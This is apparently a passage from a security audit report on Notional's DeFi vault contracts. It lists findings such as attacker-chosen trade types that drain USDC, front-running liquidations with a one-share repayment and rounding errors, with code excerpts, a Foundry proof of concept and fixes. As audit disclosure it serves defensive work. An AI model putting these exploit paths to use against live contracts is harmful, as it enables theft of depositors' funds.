The similar issue is also found in the AbstractWithdrawRequestManager._preStakingTrade() function, where the trade type can be arbitrarily defined by the caller in Line 277. The exploit method closely resembles the one described in the previous instance.
File: AbstractWithdrawRequestManager.sol
268: function _preStakingTrade(address depositToken, uint256 depositAmount, bytes calldata data) internal returns (uint256 amountBought, bytes memory stakeData) {
269: if (depositToken == STAKING_TOKEN) {
270: amountBought = depositAmount;
271: stakeData = data;
272: } else {
273: StakingTradeParams memory params = abi.decode(data, (StakingTradeParams));
274: stakeData = params.stakeData;
275:
276: (/* */, amountBought) = _executeTrade(Trade({
277: tradeType: params.tradeType,
278: sellToken: depositToken,
279: buyToken: STAKING_TOKEN,
280: amount: depositAmount,Assume that
depositTokenis not equal to theSTAKING_TOKEN- Yield Strategy vault's assets token is USDC.
WITHDRAW_TOKENis USDC
After the WR is finalized, the withdraw token (USDC) will reside in WRM if someone calls finalizeRequestManual.
In this case, when a trade is executed, sellToken=depositToken=USDC and buyToken=StakingToken. Thus, malicious users can use the same exploit (setting trading type to EXACT_OUT) mentioned earlier to steal USDC funds on WRM to purchase more staking tokens than expected, which will, in turn, generate more yield tokens/collateral shares under their account.
High. Malicious users can exploit this to steal funds from the vault.
No response
The fix is straightforward. Simply hardcoded the trade type to TradeType.EXACT_IN_SINGLE to prevent this exploit. This will ensure that an exact amount of tokens is swapped in exchange for an arbitrary amount of desired tokens, and not the other way round.
/// @dev Trades the amount of secondary tokens into the primary token after exiting a pool.
function _executeRedemptionTrades(
ERC20[] memory tokens,
uint256[] memory exitBalances,
TradeParams[] memory redemptionTrades
) internal returns (uint256 finalPrimaryBalance) {
for (uint256 i; i < exitBalances.length; i++) {
if (address(tokens[i]) == address(asset)) {
finalPrimaryBalance += exitBalances[i];
continue;
}
TradeParams memory t = redemptionTrades[i];
// Always sell the entire exit balance to the primary token
if (exitBalances[i] > 0) {
Trade memory trade = Trade({
- tradeType: t.tradeType,
+ tradeType: TradeType.EXACT_IN_SINGLE,
sellToken: address(tokens[i]),
buyToken: address(asset),
amount: exitBalances[i],
limit: t.minPurchaseAmount,
deadline: block.timestamp,
exchangeData: t.exchangeData
});
(/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);
finalPrimaryBalance += amountBought;
}
}
}function _preStakingTrade(address depositToken, uint256 depositAmount, bytes calldata data) internal returns (uint256 amountBought, bytes memory stakeData) {
if (depositToken == STAKING_TOKEN) {
amountBought = depositAmount;
stakeData = data;
} else {
StakingTradeParams memory params = abi.decode(data, (StakingTradeParams));
stakeData = params.stakeData;
(/* */, amountBought) = _executeTrade(Trade({
- tradeType: params.tradeType,
+ tradeType: TradeType.EXACT_IN_SINGLE,
sellToken: depositToken,
buyToken: STAKING_TOKEN,
amount: depositAmount,
exchangeData: params.exchangeData,
limit: params.minPurchaseAmount,
deadline: block.timestamp
}), params.dexId);
}
}sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/18
Source: #874
0xPhantom2, Bluedragon, Schnilch, albahaca0000, boredpukar, jasonxiale, sergei2340, touristS, xiaoming90, yoooo, zhuying
When PT tokens are expired, the _redeemPT function calls redeemExpiredPT which performs sy.redeem with minTokenOut: 0, allowing SY contracts that perform external DEX swaps to cause slippage losses without protection in both instant redemption and withdraw initiation flows.
The vulnerability occurs in the _redeemPT function which handles both expired and non-expired PT redemption. When PT.isExpired() returns true, it calls PendlePTLib.redeemExpiredPT.
The redeemExpiredPT function performs the redemption by calling sy.redeem with minTokenOut: 0. This means there's no slippage protection when the SY contract performs external DEX swaps or trades to convert the redeemed tokens to the target tokenOutSy.
Code Snippet:
function redeemExpiredPT(
IPPrincipalToken pt,
IPYieldToken yt,
IStandardizedYield sy,
address tokenOutSy,
uint256 netPtIn
) external returns (uint256 netTokenOut) {
// PT Tokens are known to be ERC20 compliant
pt.transfer(address(yt), netPtIn);
uint256 netSyOut = yt.redeemPY(address(sy));
@-> netTokenOut = sy.redeem(address(this), netSyOut, tokenOutSy, 0, true); // AUDIT: no slippage protection
}This affects two critical flows:
- Instant Redemption: Called via
_executeInstantRedemption. - Withdraw Initiation: Called via
_initiateWithdraw.
Users suffer direct fund loss when SY contracts perform unfavorable external DEX swaps during expired PT redemption, as the zero slippage protection allows maximum extractable value attacks and natural slippage losses.
The impact is amplified because users have no control over the redemption rate and cannot protect themselves against adverse market conditions or MEV attacks during the SY redemption process.
- PT tokens expire and user initiates exit position
_redeemPTis called and detectsPT.isExpired() == truePendlePTLib.redeemExpiredPTis called with the expired PT amount- PT tokens are transferred to YT contract and
yt.redeemPYis called sy.redeemis called withminTokenOut: 0- SY contract performs external DEX swap with unfavorable rates due to market conditions or MEV attacks
- User receives significantly fewer
sUSDetokens than expected with no recourse - Loss propagates through either instant redemption or withdraw request flows
Modify the redeemExpiredPT function to accept a minTokenOut parameter and pass it through to sy.redeem. Update both calling functions to calculate and provide appropriate slippage protection based on expected redemption rates.
function redeemExpiredPT(
IPPrincipalToken pt,
IPYieldToken yt,
IStandardizedYield sy,
address tokenOutSy,
uint256 netPtIn,
uint256 minTokenOut // Add slippage protection parameter
) external returns (uint256 netTokenOut) {
pt.transfer(address(yt), netPtIn);
uint256 netSyOut = yt.redeemPY(address(sy));
netTokenOut = sy.redeem(address(this), netSyOut, tokenOutSy, minTokenOut, true);
}Source: #195
0xShoonya, boredpukar, talfao, vangrim
The protocol’s core contracts (strategies, routers, and withdraw-request managers) all reference a single compile-time constant:
WETH9 constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);This is the Ethereum-mainnet WETH9. When the same bytecode is deployed to chains like Arbitrum, Base, or any L2/sidechain whose wrapped-ETH token lives at a different address, every call to WETH.withdraw() or WETH.deposit{value:...}() will either revert or no-op.
Throughout the codebase—e.g. in AbstractStakingStrategy, CurveConvexLib, EtherFiWithdrawRequestManager, and others—WETH is declared as a constant pointing at mainnet’s 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 address.
Ethereum, in the future we will consider Base or Arbitrum
On chains where that address has no code or contains an unrelated contract:
withdraw() reverts → funds are stranded inside withdraw-managers (EtherFi, Dinero, Origin, etc.) and strategies during exits.
deposit{value: …}() emits no ERC-20, so accounting under-flows on the very next balanceOf / health-factor check, blocking redemptions and liquidations protocol-wide.
Because the constant is declared at compile-time, recompiling once and re-using the same artefacts for multiple chains is enough to brick the deployment.
Medium - Protocol may not work on most of the supported blockchains.
Medium - The architecture explicitly targets future deployments on Arbitrum, Base, etc.
Medium
Make WETH an immutable constructor argument or pull it from AddressRegistry.
At deployment, assert address(WETH).code.length > 0.
Issue M-2: Incorrect tokensClaimed calculation in EthenaCooldownHolder::_finalizeCooldown() blocks withdrawals
Source: #263
0xDeoGratias, 0xc0ffEE, 0xpiken, 0xzey, Atharv, Cybrid, KungFuPanda, Ragnarok, Schnilch, X0sauce, almurhasan, boredpukar, bretzel, elolpuer, hgrano, holtzzx, kangaroo, patitonar, pseudoArtist, touristS, xiaoming90
Users are unable to withdraw tokens from the EthenaWithdrawRequestManager contract when initiating a withdrawal while sUSDe.cooldownDuration() is set to 0, due to flawed logic in the EthenaCooldownHolder::_finalizeCooldown() function.
When a user initiates a withdrawal request via the EthenaWithdrawRequestManager contract, it internally calls EthenaCooldownHolder::_startCooldown():
EthenaCooldownHolder::_startCooldown() function:
function _startCooldown(uint256 cooldownBalance) internal override {
uint24 duration = sUSDe.cooldownDuration();
if (duration == 0) {
// If the cooldown duration is set to zero, can redeem immediately
=> sUSDe.redeem(cooldownBalance, address(this), address(this));
} else {
...
}
}If cooldownDuration is 0, the sUSDe is immediately redeemed for USDe, and the USDe tokens are transferred to the EthenaCooldownHolder contract. Later, when the user finalizes their withdrawal, EthenaCooldownHolder::_finalizeCooldown() is called:
EthenaCooldownHolder::_finalizeCooldown() function:
function _finalizeCooldown() internal override returns (uint256 tokensClaimed, bool finalized) {
uint24 duration = sUSDe.cooldownDuration();
IsUSDe.UserCooldown memory userCooldown = sUSDe.cooldowns(address(this));
if (block.timestamp < userCooldown.cooldownEnd && 0 < duration) {
// Cooldown has not completed, return a false for finalized
return (0, false);
}
uint256 balanceBefore = USDe.balanceOf(address(this));
if (0 < userCooldown.cooldownEnd) sUSDe.unstake(address(this));
uint256 balanceAfter = USDe.balanceOf(address(this));
=> tokensClaimed = balanceAfter - balanceBefore;
USDe.transfer(manager, tokensClaimed);
finalized = true;
}Since the USDe has already been withdrawn to the holder contract at the time the withdrawal request is initiated, balanceBefore is equal to balanceAfter. As a result, tokensClaimed is incorrectly calculated as 0, preventing users from claiming any tokens from their withdrawal request.
Users are unable to claim any tokens from their withdrawal requests if they were initiated when sUSDe.cooldownDuration() was 0.
Track the balance change when initiating a withdrawal request while sUSDe.cooldownDuration() is set to 0, and use this state to determine the balance change when finalizing the withdrawal request.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/19
Source: #279
elolpuer, mstpr-brainbot
When users deposit the "asset" into the single-sided Curve LP strategy, the asset is sold for the Curve pool’s underlying tokens.
However, there is an edge case when one of the pool’s underlying tokens is ETH, in which case the trade execution fails because the TRADING_MODULE sends back ETH when ETH is requested, but the code expects WETH to be received.
First, when the ConvexCurve yield strategy is deployed, TOKEN_1 and TOKEN_2 are written to storage as follows:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L54-L55
Curve pools use the address 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE to show that one of the pool’s assets is native ETH. Here, we can see that if that’s the case, it’s set to ETH_ADDRESS, which is address(0). We can also confirm this from the comments above those lines.
Now, when the user deposits the asset token and wants to sell some of it for the other underlying Curve token, which is native ETH, then trade.buyToken will be address(0), which translates to ETH_ADDRESS in the Notional codebase.
trade = Trade({
tradeType: t.tradeType,
sellToken: address(asset),
buyToken: address(tokens[i]),
amount: t.tradeAmount,
limit: t.minPurchaseAmount,
deadline: block.timestamp,
exchangeData: t.exchangeData
});After executeTrade is called in TRADING_MODULE, the strategy contract will receive native ETH not WETH!
We can also confirm from the TradingModule implementation that if the buyToken is ETH (address(0)), it's ensured that even WETH receivables are withdrawn to ETH, making sure the user receives native ETH instead of WETH:
https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/TradingUtils.sol#L164-L172
After these operations, the contract now has some asset balance and some native ETH balance and is ready to LP into the Curve pool with msg.value. The following lines are next:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L180-L196
uint256 msgValue;
if (TOKEN_1 == ETH_ADDRESS) {
msgValue = _amounts[0];
} else if (TOKEN_2 == ETH_ADDRESS) {
msgValue = _amounts[1];
}
if (msgValue > 0) WETH.withdraw(msgValue);As we can see here, msgValue will indeed be greater than 0, and then WETH.withdraw will be called. However, we already have ETH balance and no WETH — so the withdraw will revert.
- Curve pool used has ETH as underlying
None needed
Happens naturally
Users wont be able to deposit on both tokens if the asset is one of the curve lp. If the asset is not one of the curve lp then users will not be able to deposit at all If the reward token is WETH then everything can be messed up because of withdrawing the WETH.
So, high.
No response
Remove the WETH.withdraw since the ETH is received natively to yield strategy
Source: #300
LhoussainePh, pseudoArtist, xiaoming90
The protocol integrates with Morpho which internally handeles the debt repayment in a way that when Liquidtions will be frontrunned via repayment with just 1 share it can easily be avoided. https://github.com/morpho-org/morpho-blue/blob/731e3f7ed97cf15f8fe00b86e4be5365eb3802ac/src/interfaces/IMorpho.sol#L247
The internal accounting method of Morpho leads to this bug.
None
None
During full liquidation the liquidator calls liquidate() which further calls _liquidate on MorphoLendingRouter:
function _liquidate(
address liquidator,
address vault,
address liquidateAccount,
uint256 sharesToLiquidate,
uint256 debtToRepay
) internal override returns (uint256 sharesToLiquidator) {
MarketParams memory m = marketParams(vault);
(sharesToLiquidator, /* */) = MORPHO.liquidate(
m, liquidateAccount, sharesToLiquidate, debtToRepay, abi.encode(m.loanToken, liquidator)
);
}The above function simply calls the MORPHO.liquidate() with full sharesToLiquidate and debtToRepay, Now if we see the implementation of
Morpho.sol:
position[id][borrower].borrowShares -= repaidShares.toUint128();
market[id].totalBorrowShares -= repaidShares.toUint128();The debtToRepay is repaidShares and when the liquidator tries to repay the full debt all of borrowedShares are reduced by repaidShares and the user is fully liquidated, however a user can simply call exitPosition to repay as little as 1 share to avoid liquidation , since when a user frontruns the liquidation call with 1 share to repay the debt , the Morpho.Liquidate call will panic revert with overflow when subtracting the repaidShares from the borrowShares and the liquidation will revert.
There is a warning on Morpho Interface as well for this bug and this can easily be avoided.
Panic revert with overflow will cause liquidations to fail.
No response
When a user calls exitPosition() it has a check _checkExit which should be updated to consider a logic for not letting user frequently exit
Consider making a variable lastExitTime and update it every time user exits just like it is done in enterPosition
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/14/files
Issue M-5: Minting yield tokens single sided can be impossible if CURVE_V2 dexId is used on redemptions
Source: #320
mstpr-brainbot
In single-sided yield strategies, both underlying tokens of the pool have infinite allowance set on the pool contract. When a user chooses to withdraw, they can withdraw with both tokens and then sell the underlying tokens for the "asset".
If the user selects CURVE_V2 and sets the swap pool to be the same pool that the strategy is currently LP'ing into, then the TRADING_MODULE will revoke the token allowances (set to 0) for security. This breaks the strategy, as it will no longer have the required token allowance to deposit into the yield strategy, effectively making deposits impossible.
Let's go through an example with explanations. Assume the yield strategy's yield token is the Convex crvUSD-USDC LP token and the asset is USDC.
First, when the strategy is deployed, both USDC and crvUSD will be infinitely approved to the pool to mint LP tokens: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L169-L178
Now, say Alice comes and wants to withdraw her shares double-sided to crvUSD and USDC and then sells the USDC for crvUSD in the same pool: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L163-L178
As we can see, the tokens received will be sold to the "asset" token, and since the asset is USDC, the USDC withdrawn from the LP will be skipped and only crvUSD will be sold to USDC: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L223-L251
However, as we can see above, dexId is not forced. The user can pick CURVE_V2 and set the pool to be the same pool the strategy is depositing into:
https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/adapters/CurveV2Adapter.sol#L42-L63
If that's the case, crvUSD will be swapped to USDC in the same pool, and after the TRADING_MODULE finishes swapping, it revokes the allowance of the sellToken, which in this case is USDC:
https://github.com/notional-finance/leveraged-vaults/blob/7e0abc3e118db0abb20c7521c6f53f1762fdf562/contracts/trading/TradingUtils.sol#L54-L57
Now, the user will receive their USDC and a successful withdrawal but what happened is that the yield strategy now has zero allowance on the yield token (the Curve pool), which means no user can deposit into the strategy anymore. It’s permanently blocked because the strategy is always expected to have infinite allowance, but now has none.
- "asset" token is one of the curve lp tokens (very possible)
None needed
- Exit position double sided with redemption trade using the same curve pool
Strategy deposits are permanently blocked due to lack of allowance for "asset" token to pool.
No response
Do not allow CURVE_V2 if "asset" token trade.pool is the same. For CURVE_V2 multiple swaps it could be a problem to check each pool but I guess thats not the case since the router has the one doing the swaps not the strategy.
Issue M-6: Withdrawals ongoing for OETH, apxETH, weETH, and almost any LST are overpriced by the oracle
Source: #322
0xpiken, mstpr-brainbot, xiaoming90
When users initiate a withdrawal, if the yield token has a specific withdrawal method, the withdrawal will be initialized and for LSTs, this means unstaking from the beacon chain, which can take hours, days, or even weeks.
While the withdrawal is not finalized, the price of the token is assumed to be the same as the yield token for example, the OETH amount held in the Withdraw Request Manager contract. However, once the withdrawal is initialized on the beacon chain, LSTs stop earning yield. Therefore, the oracle will always overprice the token.
As we can see, when initiateWithdraw is called for an LST (e.g., OETH), the OETH will be taken from the yield strategy and sent to the Withdraw Request Manager to initialize the withdrawal process from the beacon chain:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/staking/AbstractStakingStrategy.sol#L64-L74
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L97-L120
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/Origin.sol#L12-L19
So the OETH withdrawal from the beacon chain is started. OETH is burned and is now waiting for ETH to be finalized and received from the beacon chain.
Meanwhile, since the user still has collateral on the Morpho market, they can continue borrowing. However, once the withdrawal is initiated, the pricing of the tokens becomes inaccurate: https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/staking/AbstractStakingStrategy.sol#L50-L54 https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/withdraws/AbstractWithdrawRequestManager.sol#L307-L340
Now, since the withdrawal is not yet finalized, the request remains unfulfilled, and the else branch will be executed:
else {
// Otherwise we use the yield token rate
(tokenRate, /* */) = TRADING_MODULE.getOraclePrice(YIELD_TOKEN, asset);
tokenDecimals = TokenUtils.getDecimals(YIELD_TOKEN);
tokenAmount = w.yieldTokenAmount;
}As we can see, the pricing is done using the YIELD_TOKEN, which is OETH. However, the OETH has already been burned, and since it's in the withdrawal queue on the beacon chain, it no longer earns yield!
None needed
None needed
- Initiate withdraw
- Collateral is overpriced borrow more without taking LST risk
Since the LST holding risk is no longer present once a withdrawal request is initiated and also due to the overpricing of it, users can borrow more from the Morpho market, even though their actual collateral is not as high as it’s assumed to be.
The opposite case can also be problematic, where the LST price decreases (e.g., due to slashing), and the collateral ends up being underpriced.
No response
For LST's override the getWithdrawRequestValue function
Issue M-7: Rounding discrepancy between MorphoLendingRouter::healthFactor and Morpho::repay causes position migration failures
Source: #417
0xRstStn, 0xpiken, Bigsam, Ragnarok, bretzel, mstpr-brainbot, rudhra1749, shiazinho, talfao, touristS, wickie, xiaoming90
A flaw in how borrow assets are calculated in MorphoLendingRouter::healthFactor causes position migrations to revert under specific conditions. The function underestimates the true debt owed by rounding down, while Morpho internally rounds up for repayment. This discrepancy leads to insufficient asset transfers during AbstractLendingRouter::migratePosition, breaking a core protocol feature.
Although the rounding difference may not appear initially, it inevitably emerges over time as interest accrues and the market grows, causing migrations that once worked to start failing silently, making this a latent but critical bug.
In MorphoLendingRouter::healthFactor, the borrowed assets are calculated using integer division:
MorphoLendingRouter::healthFactor#L279
if (position.borrowShares > 0) {
borrowed = (uint256(position.borrowShares) * uint256(market.totalBorrowAssets)) / uint256(market.totalBorrowShares);
}However, In Morpho::_isHealthy and Morpho::repay, the equivalent borrow amount is calculated using a rounding-up approach:
uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
market[id].totalBorrowAssets, market[id].totalBorrowShares
);else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);The discrepancy causes MorphoLendingRouter::healthFactor to underestimate the amount required to repay a loan, especially by ~1 wei in precision-sensitive scenarios, like AbstractLending::migratePosition.
- The user's position must have some borrowed assets.
- No excess asset tokens are held in the new router during migration (which is by design).
Initially, this rounding inconsistency may not manifest. However, as the market accrues interest and grows, the discrepancy between the round-down calculation used by MorphoLendingRouter::healthFactor and the round-up logic used internally by Morpho (e.g. in repay) will inevitably emerge, even for previously safe positions.
migratePositioncallshealthFactoron the previous router, which underestimates the borrow amount.- This amount is used to request a flash loan.
- During
_exitWithRepay, Morpho callsrepay()with the actual borrow shares. repay()requires more assets (rounded-up) than were flash-borrowed.- The internal
safeTransferFromfails due to insufficient balance. - The entire migration reverts.
Check the impact section for more details.
This bug has a significant impact: it breaks the migratePosition functionality, a core protocol feature designed to allow seamless transitions between lending routers.
The issue stems from an underestimated borrow amount returned by MorphoLendingRouter::healthFactor, due to incorrect rounding (rounding down instead of up). This results in insufficient funds being flash-loaned during a migration, ultimately causing the entire operation to revert.
Here’s a breakdown of how this failure manifests step by step:
- In
AbstractLending::migratePositionthe borrowAmount is obtained from healthFactor (which underestimates the actual borrow due to rounding down):
AbstractLendingRouter::migratePosition#L74
function migratePosition(
address onBehalf,
address vault,
address migrateFrom
) public override isAuthorized(onBehalf, vault) {
if (!ADDRESS_REGISTRY.isLendingRouter(migrateFrom)) revert InvalidLendingRouter();
// Borrow amount is set to the amount of debt owed to the previous lending router
@> (uint256 borrowAmount, /* */, /* */) = ILendingRouter(migrateFrom).healthFactor(onBehalf, vault);
@> _enterPosition(onBehalf, vault, 0, borrowAmount, bytes(""), migrateFrom);
}_enterPositionpasses the underestimatedborrowAmountinto_flashBorrowAndEnter, which requests a flash loan for that exact amount:
AbstractLendingRouter::_enterPosition#L97
if (borrowAmount > 0) {
_flashBorrowAndEnter(
onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData, migrateFrom
);
}- In the
MorphoLendingRouter::onMorphoFlashLoancallback,_enterOrMigrateis called using only the flash loaned amount (no extra funds):
MorphoLendingRouter::onMorphoFlashLoan#L140
function onMorphoFlashLoan(uint256 assets, bytes calldata data) external override {
require(msg.sender == address(MORPHO));
(
address onBehalf,
address vault,
address asset,
uint256 depositAssetAmount,
bytes memory depositData,
address migrateFrom
) = abi.decode(data, (address, address, address, uint256, bytes, address));
@> _enterOrMigrate(onBehalf, vault, asset, assets + depositAssetAmount, depositData, migrateFrom);
// Note: depositAssetAmount here is equal to 0, so we're passing only the asset amount we get from `MorphoLendingRouter::healthFactor`
...
}- Because this is a migration,
exitPositionis called withassetToRepay = type(uint256).max, signaling a full repayment:
AbstractLendingRouter::_enterOrMigrate#L236
function _enterOrMigrate(
address onBehalf,
address vault,
address asset,
uint256 assetAmount,
bytes memory depositData,
address migrateFrom
) internal returns (uint256 sharesReceived) {
if (migrateFrom != address(0)) {
// Allow the previous lending router to repay the debt from assets held here.
ERC20(asset).checkApprove(migrateFrom, assetAmount);
sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);
// Must migrate the entire position
@> ILendingRouter(migrateFrom).exitPosition(
onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
);
}
...
}- Inside
_exitWithRepay, the logic switches to using the user'sborrowSharesdirectly to calculate repayment:
MorphoLendingRouter::_exitWithRepay#L192
function _exitWithRepay(
address onBehalf,
address vault,
address asset,
address receiver,
uint256 sharesToRedeem,
uint256 assetToRepay,
bytes calldata redeemData
) internal override {
MarketParams memory m = marketParams(vault, asset);
uint256 sharesToRepay;
@> if (assetToRepay == type(uint256).max) {
// If assetToRepay is uint256.max then get the morpho borrow shares amount to
// get a full exit.
@> sharesToRepay = MORPHO.position(morphoId(m), onBehalf).borrowShares;
@> assetToRepay = 0;
}
bytes memory repayData = abi.encode(
onBehalf, vault, asset, receiver, sharesToRedeem, redeemData, _isMigrate(receiver)
);
// Will trigger a callback to onMorphoRepay
@> MORPHO.repay(m, assetToRepay, sharesToRepay, onBehalf, repayData);
}-
When
Morphoreceives the repay request, it usestoAssetsUp()— rounding up the amount needed to repay the debt. Morpho::repay#L284 -
Morphothen calls back toMorphoLendingRouter::onMorphoRepay, which attempts to transferassetToRepayfrom the receiver:
MorphoLendingRouter::onMorphoRepay#L224
@> function onMorphoRepay(uint256 assetToRepay, bytes calldata data) external override {
require(msg.sender == address(MORPHO));
...
if (isMigrate) {
// When migrating we do not withdraw any assets and we must repay the entire debt
// from the previous lending router.
@> ERC20(asset).safeTransferFrom(receiver, address(this), assetToRepay);
// assetToRepay here is the value passed as parameter from Morpho::repay, rounded-up
assetsWithdrawn = assetToRepay;
}
...
} This transfer fails because the flash-loaned amount was based on a rounded-down borrow calculation, and is ~1 wei short.
- Since lending routers do not hold idle assets (by design), there are no extra funds available to cover the difference. This causes the
safeTransferFromto revert, breaking the migration flow entirely.
This proof of concept demonstrates the discrepancy between MorphoLendingRouter::healthFactor and Morpho's internal borrow asset calculation (toAssetsUp). It uses a real, high-liquidity and interest-accruing market, eUSDE/USDE, as an example, to show how the rounding difference manifests in production conditions.
The following test compares the result of:
MorphoLendingRouter::healthFactorround-down calculation (Notional's implementation)- vs Morpho's
toAssetsUp()round-up logic (used during actual repayment).
- Create a file named
POC.solintests/folder. - Add the following code to the newly created file:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/src/Test.sol";
import {MORPHO, Id, IMorphoStaticTyping} from "src/interfaces/Morpho/IMorpho.sol";
contract POC3 is Test {
/// @dev Warning: The assets to which virtual borrow shares are entitled behave like unrealizable bad debt.
uint256 internal constant VIRTUAL_SHARES = 1e6;
/// @dev A number of virtual assets of 1 enforces a conversion rate between shares and assets when a market is
/// empty.
uint256 internal constant VIRTUAL_ASSETS = 1;
// to run this test use --fork-url $RPC_URL
// rpc-url needs to be mainnet
function test_healthFactorReturnsIncorrectBorrowAmountOnChain() public view {
uint256 shares = 100e6;
Id id = Id.wrap(0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c);
(,, uint128 totalBorrowAssets, uint128 totalBorrowShares,,) = IMorphoStaticTyping(address(MORPHO)).market(id);
uint256 notionalResult = _calculationNotional(shares, totalBorrowAssets, totalBorrowShares);
uint256 morphoResult = _calculationMorpho(shares, totalBorrowAssets, totalBorrowShares);
console2.log("Protocol borrow amount calculated: ", notionalResult);
console2.log("Needed assets to repay loan by Morpho calculation: ", morphoResult);
assertLt(notionalResult, morphoResult);
}
function test_healthFactorReturnsIncorrectBorrowAmount() public pure {
// 1. User will try to redeem 100e6 shares;
uint256 shares = 100e6;
// Snapshoted values from Morpho market 0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c (eUSDE, USDE)
// https://app.morpho.org/ethereum/market/0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c/eusde-usde
// 07/16/2025
uint256 totalBorrowAssets = 1683699089027334601033968;
uint256 totalBorrowShares = 1607215221550593809991229062204;
uint256 notionalResult = _calculationNotional(shares, totalBorrowAssets, totalBorrowShares); // Round down to 104
uint256 morphoResult = _calculationMorpho(shares, totalBorrowAssets, totalBorrowShares); // Round up to 105
console2.log("Protocol borrow amount calculated: ", notionalResult);
console2.log("Needed assets to repay loan by Morpho calculation: ", morphoResult);
assertLt(notionalResult, morphoResult);
}
function _calculationMorpho(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) {
return toAssetsUp(a, b, c);
}
function _calculationNotional(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) {
return (a * b) / c;
}
/// @dev Calculates the value of `shares` quoted in assets, rounding up.
function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
return mulDivUp(shares, totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
}
/// @dev Returns (`x` * `y`) / `d` rounded up.
function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
return (x * y + (d - 1)) / d;
}
}- Run:
forge test --mt test_healthFactorReturnsIncorrectBorrowAmount -vvvvOutput:
Traces:
[18020] POC3::test_healthFactorReturnsIncorrectBorrowAmountOnChain()
├─ [6929] 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb::market(0x140fe48783fe88d2a52b31705577d917628caaf74ff79865b39d4c2aa6c2fd3c) [staticcall]
│ └─ ← [Return] Market({ totalSupplyAssets: 1948947786194877138152276 [1.948e24], totalSupplyShares: 1870086616999893965690591681848 [1.87e30], totalBorrowAssets: 1682873320105785386589083 [1.682e24], totalBorrowShares: 1606423686119321497595859897438 [1.606e30], lastUpdate: 1752690551 [1.752e9], fee: 0 })
├─ [0] console::log("Protocol borrow amount calculated: ", 104) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Needed assets to repay loan by Morpho calculation: ", 105) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertLt(104, 105) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]This 1 wei difference may seem small, but it's sufficient to cause position migration to fail when exact asset repayment is required.
Update MorphoLendingRouter::healthFactor to match Morpho's internal borrow share conversion, using the same rounding-up logic:
borrowed = toAssetsUp(position.borrowShares, market.totalBorrowAssets, market.totalBorrowShares);Note: don't forget to add virtual asset/share offset constants (e.g., VIRTUAL_ASSETS, VIRTUAL_SHARES).
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/8
Source: #511
mstpr-brainbot
When there are no depositors in the yield strategy, emission rewards should stop accruing. However, the current implementation incorrectly assumes that effectiveSupply will never be zero its minimum value is hardcoded to 1e6 due to virtual shares. As a result, rewards continue to accrue even when the strategy is completely empty, which is unintended behavior.
As we can see here, when effectiveSupply < 0, reward emissions should not accrue—this is intended to ensure rewards are only distributed when there are actual depositors in the yield strategy.
However, this assumption is incorrect because effectiveSupply is never zero due to VIRTUAL_SHARES, even when there are no real depositors!
See:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L149-L151
None needed
None needed
Happens naturally
All the emission rewards will accrue to rewardPerToken unnecessarily. Functionality broken whats intended is not prevented.
No response
instead of checking effective supply against "0" check against VIRTUAL_SHARES or use totalSupply.
